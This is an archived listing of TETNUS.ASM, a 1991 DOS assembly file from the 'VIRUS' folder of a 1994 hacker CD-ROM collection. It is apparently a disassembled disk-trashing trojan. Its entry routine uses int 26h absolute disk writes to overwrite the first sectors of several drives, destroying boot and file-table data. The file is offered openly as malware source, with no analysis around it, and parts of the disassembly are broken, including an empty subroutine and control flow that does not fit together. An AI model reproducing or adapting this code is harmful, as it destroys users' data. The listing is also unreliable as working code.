home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / TETNUS.ASM < prev    next >
Assembly Source File  |  1994-07-17  |  2KB  |  79 lines
  1.   
  2. PAGE  59,132
  3.   
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    TETNUS                         ██
  7. ;██                                         ██
  8. ;██      Created:   26-Jan-91                             ██
  9. ;██      Version:                                 ██
  10. ;██      Passes:    5           Analysis Options on: H                 ██
  11. ;██                                         ██
  12. ;██                                         ██
  13. ;██████████████████████████████████████████████████████████████████████████
  14.   
  15.   
  16. ;--------------------------------------------------------------    seg_a  ----
  17.   
  18. seg_a        segment    para public
  19.         assume cs:seg_a , ds:seg_a
  20.   
  21.         db    256 dup (0)
  22.         db    0B0h, 2, 0E8h, 1Dh, 0, 0B0h
  23.         db    3, 0E8h, 18h, 0, 0B0h, 0
  24.         db    0E8h, 13h, 0, 0B0h, 1, 0E8h
  25.         db    0Eh, 0, 0B9h, 16h, 0, 0B0h
  26.         db    3
  27.   
  28. locloop_1:
  29.         inc    al
  30.         call    sub_1            ; (0122)
  31.         loop    locloop_1        ; Loop if cx > 0
  32.   
  33.         int    20h            ; Program Terminate
  34.   
  35. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  36. ;                   SUBROUTINE
  37. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  38.   
  39. sub_1        proc    near
  40. sub_1        endp
  41.   
  42.   
  43. ;██████████████████████████████████████████████████████████████████████████
  44. ;
  45. ;            program entry point
  46. ;
  47. ;██████████████████████████████████████████████████████████████████████████
  48.   
  49.   
  50. tetnus        proc    far
  51.   
  52. start:
  53.         mov    cx,54h
  54.         mov    dx,0
  55.         mov    bx,cs
  56.         mov    ds,bx
  57.         mov    bx,0
  58.         push    ax
  59.         push    bx
  60.         push    cx
  61.         push    dx
  62.         int    26h            ; Absolute disk write, drive al
  63.         popf                ; Pop flags
  64.         pop    dx
  65.         pop    cx
  66.         pop    bx
  67.         pop    ax
  68.         retn
  69.   
  70. tetnus        endp
  71.   
  72. seg_a        ends
  73.   
  74.   
  75.   
  76.         end    start
  77.  
  78. Downloaded From P-80 International Information Systems 304-744-2253
  79.